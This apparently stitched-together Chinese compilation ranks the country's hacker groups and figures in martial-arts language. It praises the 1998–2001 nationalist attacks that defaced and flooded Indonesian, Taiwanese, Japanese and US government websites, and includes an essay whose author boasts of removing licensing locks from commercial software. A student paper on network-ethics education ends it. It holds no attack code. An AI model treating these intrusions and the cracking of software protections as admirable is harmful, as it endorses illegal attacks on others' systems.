在评比中国黑客武林之东邪西毒南帝北丐中神通过程中，网易科技主要从武学修为、江湖名望、门户实力以及个人贡献四个标准去衡量，尽力最接近现实的结果。当然，黑客江湖本身是一个藏龙卧虎的世界，有更多的无名英雄没有进入我们的候选范围。其中，这里也有几个标志性的人物——中国黑客始祖Coolfire、红客联盟少年掌门Lion、一代宗师孤独剑客、绿盟掌门袁哥等，因各种因素和标准，不能入选本次的东邪西毒南帝北丐中神通。

二、黑客江湖之八大门派

1、安全焦点 门派代表：冰河

除了绿色兵团鼎盛时期，很少有门派能汇聚那么多的高手。武林双鹰冰河、wolf，flashsky、tombkeeper、isno、eyas„„均是当今武林响当当的人物。每次的安全焦点的年会，参加的都是中国黑客武林绝顶的高手，还有很多神秘的绝顶高手一直不为外界所知，安全焦点的门派实力到底去到什么程度，武林中一直是一个迷。当今黑客武林，安全焦点的震慑力无人能出其右，中国黑客武林第一大门派位置无人能撼动。

2、绿色兵团（已解散）掌门人：龚蔚

绿色兵团四分五裂后，旗下长老、弟子散落江湖各地，为黑客武林培养了非常多的一流高手，割据一方，成为一派之主。也有不少已经“从良”，大量从事网络安全工作。称绿色兵团是中国黑客武林的“黄埔军校”并不为过。

3、鹰派联盟 掌门人：老鹰

鹰派联盟是与红客联盟齐名的爱国帮派，哪里有卖国叛逆，哪里就有鹰派联盟的旗帜；哪里国民受到欺负，哪里就有鹰派联盟的呐喊。鹰派联盟是正义之帮，爱国之帮。红客联盟解体后，鹰派联盟一直保持着浓厚的爱国主义色彩，在商业化大潮中保持优良的传统实属不易。鹰派联盟在创始人老鹰的带领下，一直香火鼎盛，实力不降反升，江湖大帮的地位屹立不倒。

4、小榕软件 掌门人：小榕

江湖中总有那么一些门派，他不能在江湖中号令天下，但总能隔段时间冒出一个武林奇才，小榕软件就是这样的门派。论武功论实力，不能与绿色兵团、安全焦点相抗衡。但说到武学修为，掌门人小榕可是一代宗师，身怀绝世武学，武林共仰。小榕自创独门特技流光、溯雪、乱刀，成为武林江湖垂涎的对象，也让邪门歪道不敢太岁头上作乱，各大门派也不敢小觑。

5、第八军团 掌门人：陈三公子

第八军团是南派门户的代表，继续南派稳扎稳打的风格，在少帅陈三公子掌舵下，8年来一直逆势上扬。陈三公子深谋远虑，苦心经营。旗下弟子成长迅速，加上吸引了不少能人异士的加盟，声势日见其隆。南派门户志在天下之日，指日可待。

6、邪恶八进制 掌门人：冰雪封情

江湖总是长江后浪推前浪，冰雪封情的异军突起正好诠释了这种轮回。邪恶八进制在冰雪封情的带领下，以前辈们数倍的速度在成长，甚至直接威胁到了老大哥们的地位。

7、黑客基地 代表人物：孤独剑客

武林江湖风云变幻，腥风血雨，但还要穿衣吃饭。在生活的压力下，单纯的兴趣兴趣需要物质来支撑，在商业化大潮前，爱好爱好很轻易被资本物欲所打败，黑客基地以及很多后来的黑客网站，慢慢走向商业化。

资本是具有统治力的，在黑客江湖再次得到印证。重金之下，必有勇士。黑客基地凭借商业运作，招募了不少人才，也许能做成武林江湖第一大“镖局”。

8、华夏黑客同盟 掌门人：怪狗

华夏黑客同盟徐徐成为为黑客武林培养后辈人才的基地，号称中国黑客第一教学门户。华夏黑客同盟试图通过栽培武林后起之秀来影响着黑客界的未来发展。作为掌门人的教主，算得上武林江湖的一个响当当的角色，所研发的众多黑客程序一直广受武林后辈欢迎，广为传颂。

三、黑客江湖之卫国战争 中国其名的黑客战争：

1998年 5月，印度尼西亚发生排华事件。刚学会蹒跚走步的中国黑客们决定声援此次行动并对向印尼网站攻击。中国黑客的攻击引起印尼政府强烈反应，将中国民间黑客的行为指责为中国政府的怂恿。1999年中国使馆被炸后，5月9日，一个名为中国黑客紧急会议中央的临时组织应运而生。后来，白宫表示，电子邮件的数量庞大使得白宫网站不堪负荷而关闭，这是白宫网站第一次因为大量电子邮件而造成故障。

1999 年7月9日，李登辉抛出两国论，导致两岸局势紧张。在大陆黑客的攻击中，台湾行政院、国安局、新闻局、监察院、国民大会等网站均被攻克。

2000年日本最高法院判决东史郎见证大屠杀的诉讼败诉；日本右翼势力公然否定南京大屠杀。中国黑客明确提出要进行一场网上的新抗日战争，被篡改的日本网页出现不肯正视历史真相的日本人是亚洲之耻等文字。

从2001年2月开始，三菱车事件、日航事件、教科书事件、小泉参拜靖国神社等严峻影响了中日关系。中国黑客持续地对日本网站进行了攻击。2001 年前5个月，日本出现 650 起网站被黑事件。2001 年4月1日南海撞机后，中美黑客大战。5月8日又逢中国使馆被炸两周年，中国黑客打响了大规模的第六次卫国网络战。真正被攻破的美国网站到5月7日为止有 1600 多个，其中主要的网站（包括政府和军方的网站）有 900 多个。而中国被攻破的网站有 1100 多个，主要网站有 600 多个。

一、黑客江湖之退隐江湖 潦倒江枫

江枫，派属国内最大的黑客组织红客联盟，任江苏站长。01年指挥麾下弟兄参与中美黑客大战，后漂泊江湖、居无定所，目前创办大江维权网，与不法商家做斗争。总镖头

陈三公子，曾主力参与中美黑客大战，国内著名黑客网站第八军团元帅，跻身国内顶尖黑客之列。现任广州易城信息技术公司总经理，专注网络安全服务。平民教师

皮鲁，原鹰派武汉站长，中国早期黑客，淡出黑客江湖已久。一名普通教师。曾参加对菲律宾非法网站的攻击。

还有很多不为人所知隐退江湖的武林前辈，这里就不一一介绍了，你们永远是我们尊敬的英雄！

二、黑客江湖之后起之秀 孤独剑客

所属组织:黑客基地

介绍:剑客联盟站长，中国黑客界新一代黑客泰斗人物。

入选理由:曾经作为剑客联盟站长风云一时，现加入黑客基地，他的名字已经在黑客界家喻户晓。他正演绎属于他自己的黑客生涯，同时他用自身的技术实力征服着每个向往黑客的人，作为并不新的新一代黑客，未来黑客界还得靠他们。中华特攻(King'Xer)所属组织:中国网络安全部队、雷霆反计算机病毒小组

介绍:中国网络安全部队站长，雷霆反计算机病毒小组站长，中国黑客界新一代黑客泰斗人物。

入选理由:此人对软件程式编译及程式破解方面有较高的技术，对防火墙及反病毒技术有着深入的研究，曾写过不少技术论文《防火墙突破最新方案》、《雷霆教你反病毒》等一些有重要意义的文章就是出自此人之手，开发过不少黑客工具，其中“WINDOWS? 2000? 安全过滤系统”也是出自此人之手，为黑客界作出了贡献。冰血封情

所属组织:邪恶八进制

介绍:中国现役风云组织邪恶八进制站长，中国黑客界后起领袖人物。入选理由:现在如日中天的邪恶八进制在冰血封情的正带领走向另一个的高峰，在进入黑客界并不很久的情况下冰血封情以极快的速度发展自己和所在组织，并影响着其他黑客向着更高峰攀登，期待着他能更多的为黑客文化作出更多贡献。

三、黑客江湖之守则·精神·战歌·其它

《黑客守则》《黑客精神》《中国黑客宣言》《地下黑客守则》 歌曲：《黑夜不在》《黑客独白》

第四篇：黑客心得

人的一生往往分成许多阶段，每个阶段都是不可重复也无法复制的，过去就是过去了，重温旧梦往往是要让人失望的。的确回想起这些都让人感到精疲力竭，不知所措，但是我想告诉大家的是，“生活、志愿适合自已就行”，无论成功的人士或有成就的天才们都是经过了多次的失败才能成功，何况像我们这些微不足道的人呢！所以请大家不要对自已的人生或者前途感到不完美，今天就来谈一下我为黑客的感慨，我希望我的这些年所学习的黑客思维和方式能够给您带来一定的帮助和人了解人生，并丰富自己解决问题的方法，提高学习和工作的效率。

我在2002年的时候刚毕业，原想在学校是“金蝶财务软件”高手，一定能找到一份比较好的工作，没想到了工作的地方，却被软件给限制死了，要求加密锁，而且有用户限制，一时之间感到很无助，于是我更加努力的学习电脑技术，一直学到今天黑客的能力。后来针对不同的软件都能够运用学到的知识去取消软件供应商的限制，对于一些高科技的软件暂时我还没有办法可以战胜，这几年来我越来越喜欢计算机了。我对电脑可以说是很痴迷了。每天都想把电脑技术升华到另一个台阶。

通过这些年的学习，我总结出了我的学习心得；希望和“黑客”同事共同分享。一起进步。一起翱翔在络的天空。

1、首先，我树立良好的自信心。相信别人行的。自己也一定能行。

只要心中有目标，就一定能达到。不管前面的路有多难。我们也要奋勇前进。想想自己比较成功的事，想想自己中考或者高考都过来了。或者自己面对挫折都挺过来了。还有什么不能过来的。

2、学习要努力；

不管你有多聪明，你如果不努力，也一样不会是一个优秀的黑客，也不可是一个优秀的人。我想好多朋友都学过《伤仲永》这篇文章吧。他就很聪明。但是聪明反被聪明误。不努力学习。结果和普通人没有什么两样。我以前这是一样不努力，所以现在有点后悔，大家在成功时不要认为自己很聪明就十分的骄傲不把别人放在眼里。切记骄兵必败。

3、学习要踏实，先从基本的开始；

不要想在一个月之内学会C++或者一些超出自己的能力的目标。因为如果目标太高，一旦不能实现对自己的信心会有很大的打击。还是从基本的DOS开始。学习黑客，不仅是学习技术。更重要的是学习黑客的百折不挠的精神。不要觉得DOS很枯燥就不想学习，就打退堂鼓。

4、学会自学；

学习是主要靠自己，不要把学习的希望寄托在别人的身上。遇到问题，尽量先不去论坛发贴子，这样得到答案的速度会很慢，而且让版主也难得回答你的问题，因为我们的问题，大部分在网上都能找到答案，这样又少麻烦别人，也方便了自己。呵呵，不管怎么样都得要靠自己努力学才行，我们一定要自学，一定要加强自己的自制力。要对游戏和QQ等有诱惑的东西有一定的免疫能力。

5、要坚持不懈：

在学习的毅力松懈时，想一想自己小时候的理想。自己现在的目标和自己身边辛苦的父母。相信你会精神百倍的。

6、要学得精。而不是学得多；

学习在于精，而不是多，不管你学习了多少黑软，但是每一个黑软你都不精的话，那么你学得在多也没有多大用途，这就像神雕侠侣中的杨过一样，他以前学过好多武功，但是都不是特别的厉害，只到自己创出了黯然消魂掌才到了登峰造极的镜界。如果你每一个软件都学不精，那么你不会是一个厉害的黑客，就好像神雕侠侣中的丐帮帮主鲁有脚一样，学了打狗棒法，但是一样打不赢霍都。

所以我可以保证说，世界上没有任何人可以精通所有的黑软，因为世界上的黑软太多了。但是他一定有他自己擅长的软件，在这里我告诉大家，学习黑客这个东西不要急，不要盲目的学习很多所谓的优秀软件，其实，你只要每天能花两小时专门学习一个优秀的中小型黑客软件，那么一年后，你就学了365个黑软件，那时相信你也能像杨过那样已经登峰造极。那时在学学编程，自己创出一套自己的黑软。那么我想在三年之内，你就可以成为中国比较有名的黑客。

7、学习要灵活，动画是一成不变的.希望大家能举一反三.融会贯通.更好的消化动画中的知识。

学技术不要死心眼，一定要学某某软件，没有某某软件的教程，就在网上或向朋友等一个劲儿的找，这样别的软件一样都不会。浪费了时间，如果没有某某软件的教程，不要心急。我们可以试着自己摸索一下。我们又不是三岁的小孩子，应该有自学的能力。如果学不会，也不会担心，世界上有那么多的黑软。我们一定要学那个软件才能做黑客吗？不，不不。不是这样的，黑客是聪明的。而不是顽固的。比如说。我要得到15这个数字，我们可以用1+14=15，也可以是2+13+15 还可以是3*5=15 更可以是225开平方。为什么就一定要7+8=15呢？所以，学习要灵活，不要在一棵树上把自己吊死。

8、注意煅炼身体；

我们要的是人才，而不是只知道把别人的东西复制过来。要粘贴上去的人。空闲时去煅炼一下身体因为身体是革命的本钱。如果一天到晚只知道打电脑的话，那就不好啦。这样身体跨了。就不可能去学习啦。我记得我2003年的时候一天到晚的想着电脑。电脑水平虽然提高了。但是没过多久。我就觉得记忆力减退。跑步速度也大不如前。对我后来的学习造成了极大的不良影响。

9、注意身边的事；

还就是在自己工作学习完成以后要关心一下周围的人。我记得有这么一句话：“ 20多岁是男人一生最暗淡的时光，要什么没什么，所以你一定要珍惜这个时期身边关心你的人和事。那么。我们老了的时候回想起来，才不会后悔。

不要用学到的技术到处学炫耀。要知道一山还比一山高。如果学到一点点技术就到处去耀炫。那么别人不会认为你的技术高。而会认为你这个人没有素质，没有教养。我们要做的是：帮助周围需要我们帮助的人。我们可以做的事还有很多很多。

第五篇：黑客期末论文-

对大学生网络道德教育现状的分析和总结

摘要：大学生是未来社会的新鲜血液，所以重视大学生网络道德教育是很重要的。推进网络道德教育，培养大学生的正确网络道德观念。如何使大学生网络行为趋向冷静，使他们的行为更符合社会公德的要求，针对大学生网络行为的网络道德教育便是解决问题的关键所在。目前，我国的网络教育还处于仅仅强调技术的水平上，网络道德约束机制和网络道德观念体系还处于真空状态，同时与现实的道德教育相比，网络道德呈现前所未有的多元性和自律性。

关键字：大学生，网络道德，教育

一、大学生网络道德教育的发展历程

在中国，学着们对大学生网络道德教育实践的研究大概分三个阶段：第一阶段是互联网在中国发展的初期，从 1994 年到 1998 年，我国高校的网络道德教育处于起步阶段。第二阶段是 1999 年到 2003 年，全国高校网络思想道德教育实践进入了主动迎战、快速发展时期。第三阶段是 2004 年至今，高校网络建设与应用日趋成熟，高校网络思想道德教育的实践进入了自觉深入的发展阶段。应该看到，尽管我国高校和国外高校相比起步较晚，但我国大学生网络道德教育的实践经历了 10 多年的形成和发展后，凝结了自己的特色，也面临新的挑战、对未来的发展提出了新的要求。在网络应用的普及、网络技术的进步以及网络社会的崛起进程中，思想道德教育的研究已经开始借鉴计算机技术、传播学、心理学、社会学、管理学等多学科多领域的研究，新的理论在实践中得到升华，大学生网络思想道德教育也面临着新的契机，成为具有时代性的重要课题。

二、分析大学生网络道德教育现状产生的原因

2.1对网络安全关注程度

调查显示, 大学生对网络安全问题已较为关注, 认为计算机病毒、网络窃密、网络违法犯罪、虚假有害信息、系统泄露、网络攻击、垃圾邮件是构成网络不安全的主要因素, 但也有8% 的大学生对网络安全不太关。2.2使用安全措施的情况

在公共场所上网结束后, 79%的大学生会检查自己所登录过的网站(QQ、信箱等)或使用过的程序是否已退出或关闭, 而9%的大学生则从不检查；

（1）在公共场所使用计算机时, 有16%的学生没有意识要好好保护自己的计算机系统、各种用户名和密码信息、存储介质；

（2）当收到垃圾邮件时48%的大学生选择为防病毒不打开,立即删除, 18%的学生选择设置垃圾邮件过滤, 并删除, 14%的学生则会看完再删除, 11%的学生则随意处理;33%的大学生在收到垃圾邮件时想投诉, 但不清楚投诉谁, 35%选择不去投诉；

（3）50%的大学生曾有过密码被盗经历；

（4）为使计算机减少感染病毒的机率, 63%的学生认为应安装软件, 并定期升级, 46%学生认为应少浏览陌生网站, 不明情况时不下载文件, 慎重接受陌生人的邮件, 40%学生认为应在使用磁盘、U 盘、移动硬盘等前先查毒, 42%学生认为应及时升级系统和打补丁, 35%学生认为应用杀毒软件检查邮件附件以后再打开；

（5）针对感染病毒后杀毒软件无法查杀怎么办, 30%的学生选择根据中毒特征, 上网查找杀毒方法, 32%的学生选择求助其他人, 29%选择格式化硬盘, 重装系统；

（6）当收到虚假银行邮件, 要求登录虚假银行网站填写信息,12%的大学生选择会登录此类网络。从以上调查结果可以看出, 多数大学生较熟悉影响网络安全的主要因素, 对自身上网的安全也有一定的防范, 对网络安全有较为清晰的认识, 有了初步的网络安全意识、安全知识, 但也有相当一部分学生网络安全意识不强, 网络安全知识不丰富, 遇到安全问题和非法侵害, 有些很难解决, 或者干脆束手无策。笔者认为: 出现这种问题的原因主要是大部分学生是通过自学网络安全知识, 或曾遇到侵害后依经验解决, 未接受过系统的、全面的、专业的网络安全知识教育。

三、产生这种现状的原因

(一)社会成因:

1、法制因素: 由于目前计算机在中国是一件高消费物品, 家庭并不普及, 因此社会的网吧成为青少年光顾互联网络的主要场所。现行的关于网吧不允许未成年人上网的规定在现实生活中形同虚设, 几乎没有一家网吧在执行此项规定。拿网吧老板的话来讲, 如果没有未成年人上网, 他们就要关门了。现行的规定对查处的违规网吧经营者处罚偏轻是造成网吧容留未成年人上网的主要因素。防止未成年人进入网吧立法滞后, 除了部门规章之外, 没有明确的部门法对此进行规范。管理部门的执法不立又是另一个重要因素, 不到集中打击时期, 大多网吧经营者存在违规经营行为。

2、文化因素: 文化因素对于青少年网络犯罪来说主要是不良文化的影响。所谓不良文化是指与社会主流文化相偏离甚至相对立的一种“亚文化”或“病文化”[4],但表现在互联网上就是关于色情、暴力的渲染, 互联网对不良文化传播所具有的受暗示性导致了青少年网络犯罪的发生。青少年时期, 价值观、人生观尚未完全确立,正在形成阶段, 是非辨别能力有限, 极易受不良文化因素的侵害。

(二)心理成因: 青少年网络犯罪心理既有青少年犯罪的一般特点, 也由于网络犯罪的特殊性而具有一些不同于其他犯罪类型的特点。有人认为网络犯罪的关键特征为自负心理和放纵心理[5], 笔者试对青少年网络犯罪的心理结构特征进行分析。

1、犯罪动机的多样性:青少年犯罪动机具有多样性的特点[6], 不同类型的犯罪表现在青少年身上就具有不同的特点即使是同一类犯罪, 基于不同的犯罪动机也具有不同的特点。(1)好奇的犯罪动机: 对于大多数青少年网络黑客来说, 制造网络病毒或入侵某些著名或机密网站, 并非要达到什么样的政治目的或获取什么样的国家机密, 而仅为证明自己可以做到别人做不到的事情, 向外人展示自己“非凡”的网络技术。他们所追求的是一种精神上的满足, 也是一种自我实现的需要。(2)图财的犯罪动机: 利用互联网虚拟的特性, 通过发布一些虚假的信息或通过网上交友或聊天室聊天获取被害人的信任, 从而对被害人进行诈骗、抢劫或盗窃的犯罪行为, 甚至有些人通过建立色情网站进行牟利。(3)性动机: 女性所特有的情感方面的弱点可能会被网友所利用, 在互联网交友的模式下, 最多也只能通过视频看到对方的影像, 而对方的品质特点却无法了解, 很多女青年往往由此而上当受骗。

2、畸形的自我实现的需要:在青少年网络黑客中, 畸形的自我实现的需要表现得尤为突出。美国心理学家马斯洛的需要层次理论认为, 自我实现的需要是人类最高层次的需要, 而这种需要并不是任何人都可以达到的[7], 同时每个人为达到自我实现的需要所采取的手段各异。青少年“黑客”们所想到的是实现自己的理想, 达到自己给自己所设定的目标, 而根本不考虑自己的行为给社会所带来的危害性。

3、认识特征: 青少年网络犯罪的认识特征主要表现在智力和思维两个方面。在智力上这类犯罪人智力水平普遍较普通的同龄人为高, 具有实施这类犯罪所需要的灵活、敏捷的思维和创造性地解决问题的能力。而在思维方式上具有偏执的特点,表现犯罪的决意一旦形成, 就会持续性地坚持下去, 不会去考虑行为的合法性问题[8]。

4、道德意识的扭曲: 青少年网络犯罪人的道德意识是以自我为中心的, 所实施的犯罪行为以满足自己的需要为目的。他们不考虑行为的社会危害性, 因此说此类犯罪人的道德意识或道德观是扭曲的。

5、意志特征: 实施网络犯罪的青少年其意志特征表现为两个方面, 一方面是对待物质利益的自制力的减弱, 另一方面表现为解决所面临网络技术问题所体现出的持久的韧性。

四、改善这种现状的方法

就现状而言，我们教育工作者可以引导大学生了解哪些行为是违反法律和社会道德的黑客行为。如，不破坏别人的网络安全防御系统，不发送或编写病毒程序攻击他人的电脑等等。从小事做起，使网络环境不断地走向和谐与安全。国家和社会各界都应该投入到对大学生网络道德教育的行列中来，必须做到以下几点：

1、加强与网络有关的法律、法规宣传教育

2、提高认识, 切实加强计算机网络道德教育

3、采用多种教育形式开展大学生网络道德教育

4、呼吁建立良好的网络安全监督体系

总结

对大学生网络道德教育是需要全社会共同参与完成的, 并随着时代发展有着不同的表现形式, 这就要求我们的教育者不断紧跟时代发展的要求, 将大学生引导到正确的道路上来,为营造健康、文明、积极向上的网络环境做出应有的贡献。

参考文献：

1.《大学生网络行为责任的对策透析》，罗贤甲，黑龙江高教研究，2008； 2.《校园网络负效应浅析》，秦秋菊，湖南机电职业技术学院，2009； 3.《大学生黑客行为模式与预防对策》，陶金，渤海大学，2008；

4.《大学生网络舆论特征及其引导》，王玲玲，思想理论教育(上半月)，2010；